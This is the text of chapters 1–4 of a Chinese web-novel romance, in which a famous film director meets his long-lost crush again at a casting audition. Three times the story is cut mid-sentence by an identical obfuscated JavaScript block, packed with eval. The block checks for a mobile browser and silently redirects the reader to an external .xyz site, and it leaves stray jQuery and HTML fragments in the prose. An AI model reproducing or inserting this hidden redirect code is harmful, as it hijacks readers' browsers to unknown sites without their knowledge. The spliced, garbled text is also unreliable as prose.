《长得太漂亮被白月光误以为是0》 1. 第 1 章 “我在28岁的时候,去了一次音乐节,遇见了我姗姗来迟的青春。” “这是我梦想的开端。” 沈愚下了领奖台,装作若无其事地回到了自己的席位。耳边那如雷的掌声还未散去,震得他心脏都在颤抖。 他的致谢词并不多,开门见山,直抒胸臆,很符合他在外人面前的刻板印象——高冷、直白、恃才傲物,或者说,喜欢故作姿态,将自己打造成一个合格的文艺青年。 28岁的沈愚也许会对这些传言做些回应,小声辩解着“不是这样的,我只是不擅长应酬”。 但35岁的沈愚不会再做这些无用功,他不在意也无需在意别人对自己的评价。五年内,三个最佳导演和最佳影片,早已将他捧上了不可高攀的神坛,成为当下最炙手可热的香饽饽。同行指望着他的人脉,资本赌他的流量,新生代小生小花挤破脑袋,争着他这份资源。 沈愚是业内难得的,会启用一些名不经传的艺人的导演。 从业多年,始终贯彻着自己独有的理念,眼光毒辣,审美奇绝,能将每一个剧本、每一个角色的价值发挥到极致。所以在这个资本当道的年代,他才能争上一席之地。 当然这还不是全部。 娱记的镜头转到他身上时,沈愚正微微侧着头,听着身边的制片人絮絮低语。他偶尔点了个头,也不笑,浓密的眼睫在眼窝下投出一片淡淡的阴影,衬得那本就深邃的五官更为内敛沉稳。 年轻的娱记忽地有些不好意思,将镜头稍稍移了移,重点便放在了沈愚的制片人江恕身上。 忘了说,江恕是A城首富的儿子,本人名下有家娱乐公司,是这个圈子数一数二的存在,堪称顶流制造机。 体面人称江恕和沈愚是伯乐与千里马,不体面的,包养、情人、床@伴……流言蜚语更新迭代了好几个版本,不管是不是这个圈子的人,都听上过几句。 但两位当事人并不在意。 此刻他们坐在一起,共享这旁人可望不可及的荣光,正是烈火烹油,鲜花着锦,风光无限的好时候。 江恕与沈愚完全不同,是个名利场上游刃有余的角儿,八面玲珑,滴水不漏,挂了个制片人的名头,实际上干着大管家的活儿。但不得不说,正因为有江恕,沈愚才有机会大展拳脚,否则以他的性格,早就被吃人不吐骨头的娱乐圈扒掉几层皮了。 沈愚深知这一点,所以在庆功宴上,往往不发一言。他听着江恕侃侃而谈,不论对错,都不发表自己的意见,反正下了酒桌,这些话就不会再摆到台面上说了。 江恕有很多臭毛病,穿上一身定制西装,站在正式场合,还算个有模有样的成功人士,可脱了那身衣服,他就是个标准的纨绔子弟,唯一的优点可能就是他拿沈愚当朋友,尊重这人的看法,不干涉对方的任何拍摄决定。 一个出钱,一个出力,也能开开心心赚个盆满锅满。 庆功宴结束,喝得有点晕了的江恕和微醺的沈愚一同坐车离开。江家的管家打开车门,恭敬地请二位上车。沈愚惯例坐在离车窗最近的地方,两手抱胸,眼睑微垂,坐姿很是规矩,江恕则是扯开领带,敞开四肢,半摊在后座上。 两个人起先都没说话。 江恕眯了会儿,突然一巴掌拍在了沈愚胳膊上:“沈导,瞧见我这新车了吗?” 沈愚一听他叫自己“沈导”,就预感到大事不妙。 江恕只有在准备耍酒疯之前,才会叫他“沈导”。 沈愚默然片刻,硬着头皮“嗯”了一声。 江恕“呵呵”两声,摆摆手:“算了,沈导你不识货,肯定不知道我换了辆什么车。” “车只是代步工具,对我来说,能坐着出门就可以了。”沈愚没有多少物质欲望,对钱的概念也比较稀薄,比如说现在,他只能分出大车、小车,三个轮的、四个轮的。 江恕头直摇:“没意思,真没意思。” 他砸吧着嘴,身子一歪,看样子是要给沈愚一拳,没想到重心不稳,径直从座位上摔了下去。 沈愚眼睁睁看他后脑勺着地,半个身子却挂在座位上,有点想笑,江恕懵懵的,忽然又扒着他的裤腿,舌头打结似的嚷着:“你,你扶我起来啊!” 沈愚无奈,伸手将人拉了起来。江恕醉醺醺的,四肢发软,光是爬起来就要了他半条命,只能头晕眼花地趴在了座位上。过了会儿,他不知道想起来什么,嘴一撇,就开始哭:“妈的,他凭什么和老子分手?我送了他那么多东西,要什么给什么,他凭什么和我分手?” “谈不了就别谈了,你那是谈恋爱吗?你那是有钱没处花,给自己闲的。” 沈愚提到这一点,就显得不近人情,江恕猛地起身,大声嚷嚷着:“你骂谁呢?没看到我正伤心呢吗?” “明儿一早你睡醒,就不伤心了。” 沈愚心里门儿清,江恕的对象谈了一个又一个,每次都是大把大把的钞票往外撒,最后腻了烦了,就开始吵架,给点分手费,然后找自己哭一场,过段时间,再去谈下一个。 江恕永远在谈恋爱的路上,刚开始,沈愚知道他分手,还会真心实意安慰他一下,可现在,一个字都不想多说。 眼泪流多了,就不值钱了,沈愚都不知道江恕这回究竟是真心还是假意。 “你收收心吧,真想长长久久,就不要乱发你的少爷脾气。” 沈愚好心规劝着,江恕却瞧着他那张俊脸,龇着牙:“谈恋爱哪有不吵架的?我少爷脾气怎么了?别人像我这个年纪的,有几个比我能赚钱?我好吃好喝地供着他,他凭什么不能跟我一辈子?” 沈愚一顿,有点窝火,头撇了过去:“你要这么想,我也没办法。” 江恕不服,骂骂咧咧的:“你清高,你了不起?你多大了,还跟我玩纯爱呢?是不是没睡到你的白月光,心理扭曲了?” 沈愚这下真有些生气了,他知道江恕心眼不坏,和自己也是知根知底,但这一喝醉酒,就开始胡说八道的毛病实在让人受不了。可现在和一个醉鬼掰扯,扯到天亮都扯不清,沈愚索性闭上眼,充耳不闻。 江恕见他不说话,抡起拳头,连着打了他好几下,沈愚也不吭声,就这么受着。江恕闹了一通,嫌没意思,仰头靠在了座椅上,打起了盹儿。 车内顿时安静下来。 沈愚本来很不高兴,可慢慢也就不气了,睁开眼,看向窗外。车窗做了防偷窥设计,外边的人看不见里面,里边的人却能看见外边的风景。 这个点了,这座城市依旧车水马龙,繁华未尽。豪车平稳地行驶在高架上,穿过鳞次栉比的高楼大厦,往目的地驶去。沈愚抬眼,目光越过那些钢筋水泥,望向远处一轮月牙。都市的月光太薄弱了,小小的一颗嵌在无边无际的穹顶之上,好像随时都会陨落。 沈愚莫名有点烦闷。 不可否认,江恕的话还是惹到了他。 沈愚喜欢一个人很多年,但也失去了那个人很多年。他们之间最近的时候,隔了一道幕布,他在里边,那人在外边。 沈愚至今都记得舞台的温度,那些灯光聚集在那人身上的时候,他好像也跟着燃烧起来,烧得神志不清,理智全无。 可他们终究是两个独立的个体,那人有自己的梦想,沈愚也有他的道路要走,当两个不同世界的人决定分道扬镳时,便注定不会再见面。 事实上,沈愚也很久没有那个人的消息了。 从前还没什么名气的时候,他还会一个人去看那人演出,后来闯出些名堂了,却发现对方不知何时消失在了人海。 是啊,这个圈子更新换代多快啊,弱肉强食,站不稳脚跟就要被滚滚后浪淹没。那个像一道春雷一样撞开他心扉的人,也不例外。 沈愚不是没打听过,但换来的却是江恕一脚踹开他办公室的门,脸红脖子粗地将一沓资料摔在他桌子上:“妈的,拿乔什么?不知道还以为你要潜规则他呢!” 沈愚愣了愣,他听江恕滔滔不绝讲了一堆,听得云里雾里,最后只听懂了一句——那人不想见他。 “为什么?”那是沈愚难得天真的一回。 “什么为什么?人家清高,人家要凭真本事吃饭,不想接受你的潜规则。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705239|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江恕说话难听,在气头上的时候更是阴阳怪气,沈愚蹙眉:“是不是你说错话,他会错意了?” “我说错话?我是会说错话的人?”江恕怒气冲天,“我再不会说话,也比你这根木头强得多!” 沈愚默然,不再和他争辩,半晌,小声说了句“谢谢”,就收了那些资料,锁进了自己的柜子中。 想再见那人一面的事情,从此不了了之。 现在,也无法再燃起那份迫切的,想要重逢的心情了。 “沈导,我们到了。” 司机的一句话,让沈愚回过神。 他打开车门,准备下车,江恕这个不怕死的,却一把抱住他,大叫:“沈导,明儿我们拍一部爱情电影吧,就,就我和他,你明白吗?我请最好的编剧给你写剧本,你一定要把我们的爱情拍得轰轰烈烈,肝肠寸断,让那个没心没肺的混蛋后悔,行吗?钱不是问题,我有的是钱!” 江恕嚷完,就开始滋儿哇乱哭。都说酒后吐真言,但这真言吐得沈愚有点恶心了。 可是江恕死死抱着他的腰,半个身子悬空,一双笔直的大长腿踩在座位上,但凡沈愚动一步,他就要摔个狗啃泥。 管家见状,忙和司机一起架住江恕,可这人还在哭,嚷嚷着:“我给你请最好的团队!用最贵的设备!你明儿就开工,你,呕——” 江恕吐了沈愚一身。 沈愚:“……” 他缓缓抬起头,遥望着那寂静黑夜,沉默极了。 管家找来家里佣人,好不容易才把江恕带走,再回头要找沈愚的时候,发现对方已经走了。 “完了。”管家觉得明天一定是一场腥风血雨,赶紧回去伺候他们家那个祖宗。 沈愚是自己走回去的。 他将被江恕吐脏的西装外套脱下,擦掉裤子和衬衫上的秽物,然后把那外套扔进了最近的垃圾桶里,只穿着衬衫长裤,默默走回了家。 沈愚的家和江恕住的豪宅有一定的距离,但不算太远。江恕本来想就近送他一座豪宅,和自个儿挨着住,方便串门,但是被沈愚拒绝了,理由是一个人住,不想太空旷。江恕说他不懂享受,沈愚也没搭话,时间久了,江恕也只能作罢,不再提这件事。 此时是盛夏,夜里还是闷热,沈愚的衬衫很快就湿了大半,但他没有流露出半点不悦,依旧一步一个脚印,踏踏实实地走着。他眼神有点发愣,不知道是酒精的作用,还是仅仅因为心情不好。等进了家门,沈愚换了拖鞋,脱了衣服洗了澡,就躺在床上,打开了电脑。 他有个随身携带的笔记本,方便处理一些工作邮件。 沈愚习惯在这个时候处理这些东西,一个是白天拍摄没时间,另一个则是夜里安静,对他来说,正是思路开阔,逻辑清晰的时候。 可这回,他点开那个工作邮箱,看见最上头一个署名“陈晖”的简历时,就有些昏头了。 沈愚起身去倒了杯水,慢慢喝完,而后抽了一张纸巾,擦了擦微微出汗掌心,最后才重新坐下,强装镇定地点开了那封简历。 他最先看见的,是那个两寸照片。 照片上的人留着一头柔软的半长发,明亮的眼睛弯成了两道月牙,笑起来永远是那样朝气蓬勃。 沈愚有点恍惚,想了好久,才想起来,这是他明年的一个项目,现在才开始海选演员。 刚刚还在车上伤春悲秋,现在就看见了那难以忘怀的过往。 沈愚觉得那酒精后劲很大,烧得他有点晕。他从床头柜里摸出一根烟,走到书房,不声不响地坐在办公桌前,沉默地点起打火机。 沈愚很少抽烟,只有特别疲惫、烦躁或是想不通事情的时候,才会抽上一两根。 可现在,他也说不上是什么心情。谈不上久别重逢的喜悦,也不是惊慌失措,或者其他云云。 沈愚夹着手里那根烟,望着上面通红的火点,思量许久,掐灭了它,开窗通风,转身又去洗了个澡,一头扑进了床里。 会再见吗? 他问自己。 会再见吧。 他想不明白。 2. 第 2 章 第二天一早,闹钟响前两分钟,沈愚就雷打不动地醒了过来,起床、穿衣、洗漱,然后去街边的早餐店吃了份豆浆油条外带两个包子,就打了个车去了公司。 上个项目周期差不多到尾声了,到今年年底也就是在各大颁奖现场露个脸。当然这对沈愚的影响不算大,最主要的还是他那些个演员,尤其是那些新人,要借着电影的余温再提高一波自身的曝光度。 这年头资源多紧张啊,哪个不是争得头破血流?有了曝光度才能打开知名度,才会有人关注你、投资你。参演人员都去了,导演自然会在邀请行列,沈愚再低调,也会尽职尽责去捧一把,无论主配,他都会给一个合适的、体面的评价,好让他们有更多的机会被其他业内人士认识、接触。 因此沈愚的口碑一直不错,不少人对他动过心思,或是大胆明示,或是暗戳戳搞点小动作。 沈愚的回复很简洁:“不好意思,目前没有谈恋爱的想法。” 可偏有人不信邪,要一步一步试探他的底线,沈愚不愿意和他们撕破脸,只能选择视若罔闻。 最开始还没那么大话语权的时候,他因为这样的性格吃过不少亏,好在都熬过来了,现在那些春心萌动的男男女女对上他,觉得没戏,便也不会再做纠缠。 九点整,沈愚准时踏进了他的办公室。 这个地方他并不常来,一是他一年到头,大半的时间都在剧组里。二是即便不拍戏,他也是在会议厅,和项目工作人员一起商讨各项事宜,从剧本修稿、定稿,演员海选、面试、定角,再到妆造、后期、剪辑等等,他基本都会跟进,确保每个环节都能展示出最好的效果。 沈愚用心,江恕安排给他的人也很用心,一个团队的齐心协力,也是电影大获成功的一个基础条件。 庆功宴结束,合作的各位也都休假的休假,进组的进组,沈愚也要开始筹备下一部电影。 所以当他踏进办公室,见到坐在皮质沙发上玩国际象棋的江恕时,没有半点惊讶。不出意外,下部电影还是江恕做制片。 “早。” 沈愚打了个招呼,便轻车熟路坐到了办公桌前。 “早。” 江恕低头摆弄着手里一枚棋子,西装革履,食指修长,面容清俊,乍一看,还真像那么回事儿。 沈愚头也没抬:“你那是死局。” “别吵,我在思考。”江恕压着眉毛,人模狗样的,完全没有昨晚喝醉酒那股无赖劲儿。沈愚便没有多说什么,打开自己的电脑,又一次点开了工作邮箱。 “怎么不行呢?”江恕嘀咕着,“我真没有学象棋的天赋?” 沈愚实在不忍心打击他。 江恕前段时间迷上了国际象棋,说这是霸总标配,还正儿八经给自己请了个老师,一周上好几节课,结果他的秘书、小助理,甚至在等他开会的沈愚都听懂了,他都还没开窍。 沈愚无奈地摇了摇头,只听江恕问他:“你有没有看到那些个简历?” 沈愚想到昨天夜里看见的那张两寸照片,想起那笑意盈盈的眼睛,不知怎地沉默了。江恕等了半天,没听到他回话,就抬起头张望了两眼:“沈愚,你怎么啦?昨晚喝大了,没睡醒?” “没有。”沈愚轻声否认了这一点,江恕这才继续说道:“本来那些小演员的简历不该直接发你邮箱,但是呢,明年那个项目,天星传媒也想投资,你懂我意思吧?他们要求不高,只是明年推个新人,露个脸就成。” 沈愚不说话,江恕还以为他又要和自己抬杠,就抢在前面说道:“那人的简历我看过了,很不错,你把那些人摆在一块儿看,瞎子都能看出来他非常优秀。” “出类拔萃。”江恕强调了一句。 他本身就有和天星传媒合作的打算,如今现成的机会摆在面前,脑袋开瓢了才会让它从手指缝里溜走。只要沈愚点个头,这就是顺理成章的事情。 江恕还在盘算着怎么让这头倔驴答应,没想到沈愚点了点头:“我知道了,等我看完这些简历,给你回复。” 他并没有反感,他只是想起那人的时候,有片刻的失神。 江恕喜笑颜开:“他叫赵苇航,你看见的时候记得留意一下,保准你看得上眼。” “嗯。”沈愚应着,江恕起身,走到他桌前,两手撑在桌边:“小刘和我报备过,这批新人演员都不错,你看着点挑,觉得还行的话,就告诉我一声,看看能不能签下来。” 小刘是这次的副导演,和沈愚一样,是个比较踏实的人。正常一个项目收到的简历,会优先派给他初筛,然后才会送到沈愚手上。既然小刘都这么说了,那这些新人应该都不会差到哪里去。想到这儿,沈愚突然很好奇,究竟是怎样的经历,能让一个热爱舞台的乐队主唱转行来竞争一个小角色。 起码不会很顺利,否则以陈晖的实力,早该闯出一片天了。 沈愚无声地摩挲了两下手指,装作若无其事地,又一次点开了那封邮件。 江恕见他开始工作,就没有再打扰,说了句:“我开会去了啊,你最迟后天给我个答复。” “嗯。” 沈愚眼皮都没动一下。江恕比他小个几岁,爱打扮,会保养,乍看跟个二十出头的大学生似的,可那双眼睛里的纸醉金迷,时时会出卖他年轻的外表,很多人第一眼见到他,就会知道,这是个精明的商人。 可屏幕里那双眼睛却不一样。 即使过去很多年了,沈愚也始终认为,那是他见过的最热诚最好看的眼睛。那里边有对未来的憧憬,对梦想的渴望,还有偶尔流露出的,对他的关心。 沈愚很清楚,那双眼睛看谁都顾盼神飞,都有爱,有感情。 几年前,陈晖是大众情人,并不独属于他。 可是—— 沈愚的指腹轻轻叩了两下鼠标,犹豫几秒后,将这份简历放入了《通过》这个文件夹。 陈晖接完经纪人的电话,有些烦闷地缩在沙发上。 他最近要转型。 不为别的,仅仅因为他需要一口饭吃。 如果是20岁的时候,他肯定会潇洒地拒绝,他热爱音乐,他一定能在舞台上闪闪发光,他有的是本事,有的是能力,他不想也不能放弃这些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705240|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但现在不行了。 经历了被造谣、被雪藏、被前东家恶意重伤,拖拖拉拉好不容易解约之后,又在现在的公司坐了一两年冷板凳,年少时挣来的那点薄名早就被消磨殆尽。 他的乐队散了又重组,组了又上不了台,新歌给新人让路,给他人做嫁衣,后浪踩着他的肩膀朝前奔涌,只有他慢慢沉入大海,再也上不了岸。 陈晖望着头顶呼呼吹风的老旧空调,有些难受。 现在的经纪人对他挺不错的,算得上是仁至义尽,这种时候,还想着要帮他一把,劝他另寻出路。 “小晖,人不能一条路走到死。你想这个圈子,哪个不是唱而优则演,演而优则导?大家都想着法儿地要立稳脚跟,你不去争,天上不会掉馅饼的。退一万步讲,前公司的违约金你还没付完吧?听哥的,你长得好看,又会唱歌,虽然年纪大了些,但跑个龙套,总还绰绰有余吧?咱们广撒网,不争男一男二,争个男五男六,露露脸,说不定哪天遇到个贵人能捞你一把,明天就翻身呢?” 经纪人一张嘴就把好赖话全说了,将那利害关系分析得头头是道。 可陈晖不懂吗?他太懂了。他也不想经纪人为难,但是演员真的不适合他,他一句台词都说不清,拿什么和别人争? 他宁可每天去酒吧驻唱,也不想干这一行。 可刀架在脖子上了,后退也没用。 于是陈晖点开那些招募公告,一个一个翻了过去。当划到某个名字的时候,他忽然一顿。 “沈愚。” 大名鼎鼎的沈导。 据说是个蛮不错的人,公司里的小姑娘也有不少粉他。 陈晖打开手机,搜索了下这个名字,点开了第一个网页链接。 映入眼帘的,是一张占据了大半版面的照片。 照片中,一个高大的男人穿着定制西装,右手鲜花,正从领奖台上走下来。飞舞的飘带落在了他一侧肩头,额前微微扬起的碎发恰到好处地拂过眼梢,衬得那原本深邃宁静的眼睛,多了几分柔情。 陈晖看得有点愣,嘟囔着:“这长相,他怎么不自己去当演员?” 他盯着那张照片又看了好久,大概是觉得这位导演确实不错,就投了简历,竞选的角色是个没多少戏份的男配。随后,陈晖点掉了网页,又继续投了几个看上去还可以的剧组。 大部分简历都石沉大海了。 陈晖一点都不意外,但要是说不难过,那就有点自欺欺人了。 陈晖要强,很少有困难会击垮他,但铁打的人也遭不住这样一遍又一遍地捶打。 他还是想得到一个机会的,就当是为了报答经纪人的一片苦心。 陈晖一口气喝完了可乐,手机响了下,打开来一看,发信人——沈愚。 他猛地坐起身。 “陈先生您好,首先感谢您对我们剧组的肯定,其次非常高兴地通知您,请您于七月十八号早上八点前往晴洲大酒店二楼,参加剧组海选面试,预祝您通过。” 陈晖看完,悬着的心忽然就落到了肚子里,他一下躺倒在沙发上,有点傻了。 3. 第 3 章 晚上十点,沈愚收拾好办公桌,关了电脑,关门下楼,掐着点儿坐上了前面那条街的52路公交车。 那是最后一班车。他住的地方在倒数第三站。 沈愚坐在后排靠窗的地方,默不作声地打开手机。车窗外的路灯一一闪过,斑驳的光影落到他肩上,明明灭灭,似真似幻。沈愚注视着手机里那条已发短信,有些怅然。 他是用自己的号码给陈晖发的消息。 按照正常流程,应该是回个邮件。可沈愚对着那简历翻来覆去地看,鬼使神差地拿起手机,编辑了一条短信,发送给上面的那个号码。为了避免被当成垃圾短信,他还特意将自己的大名写在了最前头。 但现在看着还是没有任何回复的界面,沈愚又觉得自己真有点,蠢。 他轻轻叹了一口气,将手机塞回包里,而后沉默地闭上眼睛。 陈晖那边早就乱了套。 经纪人朱嘉意听说他简历通过了,喜出望外,非拉着他去突击培训。陈晖倒没有反对,既然这机会来了,那就得好好把握,他不是个喜欢浪费的人。因此他铆足了劲儿去学,然后发现——他真的很不适合。 培训老师一张嘴说的全是中文,可连在一起,陈晖就有点反应不过来,头晕脑胀听了几天课,面试的日子就要到了。 朱嘉意打电话说明天一早开车送他,顺便和他聊了几句,鼓励他别紧张。 “我打听过了,他们项目面试,一般都是导演、副导演、制片人和编剧去,这次的副导演和编剧人都比较和善,应该不会刁难你,沈导人要求比较高,你就尽力发挥,完了之后,他问你什么就答什么。至于江制片——” 朱嘉意说着,深深叹了一口气,“你随机应变吧。” “好的,谢谢嘉哥。”陈晖听了,心里大概也有了数,那些面试官,可能制片人那里不太好过。但自己只是去应试个名字都没有的小角色,应该不至于卡那么死。 想到这儿,陈晖便自我疏解开,洗了澡,倒头就睡了。 另一边,沈愚却对着衣帽柜发愁。 他在想明天面试要穿什么。 搁以往,这种项目面试他都穿得很随意,只讲究干净整洁,对款式之类的并不在意,何况他那样貌摆在那里,就算披个床单过去,别人都觉得他是在走秀。 但明天要见到陈晖。 沈愚决定慎重些。 这个衣帽柜里的衣服大部分是正装,参加大活动的礼服则是在另一个房间里摆着。沈愚心想,明天既不能太随便,显得自己不够重视,但也不能太隆重,搞得所有人都在揣测他的心思,尤其是被江恕看见了,免不了被一通挤兑。可沈愚越是这样想,越挑不出合适的。他甚至觉得那些正装都太刻意了,容易引起不必要的误会。 琢磨了半天,还是没磨出个东西南北来,沈愚决定放弃,心不在焉地洗澡睡觉了。 第二天早上,他比预定时间早醒了一个小时。 他睡不踏实,他还是想给陈晖留点好印象。他虽然不关心外界对自己的评价,但如果对方是陈晖,就另当别论了。 沈愚没什么好主意,就挑了件衬衫和牛仔裤,配了个腕表,将半长不短的头发梳梳好。拿起定型喷雾的那一瞬间,他又犹豫了,慢腾腾将那瓶子放下,去柜子里找了点东西。 以前一些品牌方结束赞助后,会送点小礼物聊表心意,其中不乏一些香水之类的—— “化妆品?”沈愚痛定思痛,他想他怎么会收到这么多奇奇怪怪的瓶瓶罐罐?再一想,眼前就浮现出江恕那张左右逢源的笑脸,沈愚突然一个激灵。 没想到,在不知不觉间,他已经成为了江恕的废品回收站。 沈愚微微叹了一口气,伸手挨个儿摸过去,那些化妆品、护肤品都没拆封,他每次收到,都直接堆在了里头,根本没有细看。现在转了一圈,有一些都快过期了。 沈愚挑了半天,挑了个味道还算不错的香水,轻轻点在了手腕上,而后选了几个比较顺眼的护肤品放在了浴室里,接着他就出门了。 坐上出租车,他瞥了眼后视镜里的自己,确认今天的打扮没什么太特殊的,就安静地等待着到达目的地。 陈晖坐着朱嘉意的车到了清洲大酒店,刚一下车,就被一股热浪扑了眼睛。他不由自主眯了眯:“好热。” 朱嘉意摇下车窗:“小晖,你先进去,我去停个车,咱们二楼见啊。” “好,嘉哥你慢点。”陈晖摆摆手,就背着他的吉他,往酒店内走去。 刚踏进店门,陈晖就看见一楼摆了个超大的示意图,走过去一看,发现二楼不止沈愚那个项目在海选,还有些别的剧组。他们基本都定了个包间,两大一小,一共三个剧组。陈晖记下了自己要去的包间号,就从一边的楼梯上了二楼。 他刚瞄了一眼,电梯太挤了。 但没想到二楼人更多,放眼望去,乌泱泱全是人头。 陈晖脚步一顿,深吸一口气。这么大阵仗,还是很久以前,他活跃在音乐节舞台上的时候。他喜欢这样的热闹,但时过境迁,如今看去,却有几分惆怅了。好在他并不是个怯场的人,默默找到了沈愚剧组的工作人员,验证了一下身份,就排队去了。 沈愚的剧组,目前处于半保密状态,只发布了角色的基本信息。比如男一号,文艺青年,要求身高多少多少,等等很模糊很简略的概念人设。所有人都在盲人摸象,在画好的范围里摸索。没人能保证,进了沈愚的剧组就能一飞冲天,但不进,肯定是没有机会的。沈愚这个名字,足够响亮,足够让人争先恐后奔赴这场赌局。 陈晖站在角落里,扫了一眼那些光鲜亮丽的男男女女,又低头看了眼自己的角色信息。 “男,歌手。” 就三个字。 陈晖苦笑,朱嘉意为他选的角色,还有点门道。但那个教了他几天的表演老师和他说,即使是同一个身份,在不同的场合,也是有区别的。如果对方加了限定词,你就要当心了。 陈晖拉紧了他的吉他包的背带,有点想叹气。这地方实在太挤了,都没地方让他放下自己的吉他。陈晖背得有点累了,左顾右盼,看见安全通道那里还有个空隙,就小心翼翼挪了过去。他刚要把吉他放下,就见安全通道里走出来一个人。 那人穿着套修身的白衬衫和牛仔裤,戴了个腕表,手里抓着个手机,浑身上下都透着一股松弛感。可那张脸,眉似远峰,目若点漆,鼻骨高挺,唇色含春,乍看之下,简直让人挪不动腿。 好在陈晖也算是见过世面的,他只愣了三秒,就往一边挪了两步,示意对方先走。 沈愚今天走的安全通道,也是因为电梯太挤了。 他没想到会在这个档口见到陈晖。 那人和几年前一样,没怎么变过,就是身上没了那股张扬热烈的劲儿,看上去有点疲惫。 可即便如此,当他穿着无袖T恤衫,露着结实的小麦色的胳膊,背着吉他站在自己面前的时候,回忆还是如潮水般涌来。沈愚止不住地紧张,但他没有多说什么,只道了一句:“谢谢。” 接着,他抬脚,默不作声地往人群里走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705241|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈晖注视着他的背影,想着,这人是来面试男一号的吧?那当他的竞争对手压力真大。 他全然忘了那天,自己还搜索过沈愚的照片。 接着,他看见沈愚走进了那个包间。 “面试开始啦?”他张望着,一旁的人搭了个话:“没有啊,还没到时间。” “嗯?那刚才那个人怎么进去了?” “嗯?刚刚吗?” 两个人面面相觑,这时候,又有另一个人加入了他们的聊天局:“你说那个穿白衬衫的?” “是啊。”陈晖很好奇,“难道他们男一号提前面试?” “什么男一号?那是沈导。”那人“嗷”一嗓子,引得不少人侧目,很快他就压低了声音,“你们没见过?那就是沈愚,沈大导演。” 陈晖:“……” 完犊子。 对方又道:“听说沈导比较高冷,没那个腕儿,都不敢随便和他打招呼,我还以为你们知道呢,合着原来你们都不认识啊。” 陈晖尴尬地笑了笑:“刚入行,不懂这些。” “没事儿,沈导虽然高冷,但很体面,可不会干一些——”他说着,忽然又闭了嘴,大概是意识到这里不是个聊八卦的好地方,别到时候被人抓到把柄,传到网上去。 陈晖也识趣地没再问。 沈愚进了门,见到江恕几人都到了,便打了个招呼,坐在了中间。小刘将一打资料放到他跟前:“沈哥,顺序都排好了,到时候挨个儿进,你对着看。” “好,谢谢。”沈愚将自己的手机调成静音,放在了桌上。 江恕瞧着他那崭新的腕表,突然凑近些:“你喷香水了?” 沈愚一顿,面不改色:“外面太热了,怕走几步身上全是汗味。” “是吗?”江恕跟个狗似的嗅了嗅鼻子,夸张得好像在故意笑他,沈愚撇过头瞪了他一眼,江恕这才嬉皮笑脸地说道:“行,你说一就是一。” “哈哈。”小刘笑笑,倒是很开朗。他年纪不大,才二十七八岁,是在场几个面试官中最小的。刚进公司的时候,他在沈愚的组里做导演助理,沈愚手把手教过他很多实用的东西。后来小刘实习期满,就去别的组做导演,拍点小成本电影或者电视剧,反响都不错。这次调回沈愚身边做副导演,也是乐呵呵的,性格很讨喜。 “开始吧。” 沈愚翻开第一个人的简历。 “好咧,沈哥。” 小刘安排下去,很快,就进来一个人。 他们这次海选,没有按照角色来,而是进行了随机,谁先来,就先进。进来核对下姓名,就开始进行才艺展示和台词抽对。才艺展示个人自带,台词抽对由沈愚现场出题,让演员单独表演发挥。最后,则是面试官提问。一套流程下来,一个人10-15分钟结束。算下来时间其实比较紧迫,尤其是才艺展示浪费太多的话,台词那部分就得压缩,能不能在有限的时间内,抓住限定表演的精髓,十分考验这些新人的能力。 面了几个下来,沈愚就感觉到这些新人确实很不错,中途暂停的时候,他喝了口水,江恕问他:“是吧?我说得有没有错?” “嗯,都挺好的。”沈愚面无表情,江恕又小声道:“马上就到了啊,你提点神。” “嗯。”沈愚记得江恕说过的事,那个赵苇航确实各方面都很优秀,天星传媒要捧他合情合理。 但是—— 沈愚拧紧瓶盖,重新拿起笔:“下一个吧。” 他翻开简历,上面写着“陈晖”两个字。 4. 第 4 章 陈晖背着吉他走进去,一眼就看见了坐在主考官席位上的沈愚。对方微低着头,正在专心看着手里一份简历,右手虚虚握着一根黑色签字笔,衬得那双手更为修长、骨节分明。陈晖余光一瞟,沈愚一左一右,坐着一男一女,女人穿着件淡色连衣裙,披着波浪卷,浑身都散发着成熟知性的味道。而那个男的—— 不如沈愚好看。 陈晖收回目光,简单介绍了下,边角上那个副导演就告诉他可以开始了。陈晖抱起他的吉他,坐了下来,抬头看向那几人。 沈愚就坐在他正对面,一个不小心,就是四目相对。 陈晖莫名有点紧张。 沈愚今天将原本偏分的刘海稍微打理了一下,额前的碎发有点遮住他的眉骨,也遮住了那一身耀眼的锋芒,使他看上去—— 年轻漂亮。 这四个字在大脑里爆炸开的时候,陈晖觉得自己是中暑了。 他迅速调整状态,轻轻拨弦。那熟悉的声音再次传来时,沈愚悄悄握紧了手中的签字笔。 七年前,陈晖还是乐队主唱的时候,创作了大量流行摇滚歌曲,天马行空的想象和恣意张扬的曲风曾为他赢得了不少忠实粉丝。 沈愚也不例外。 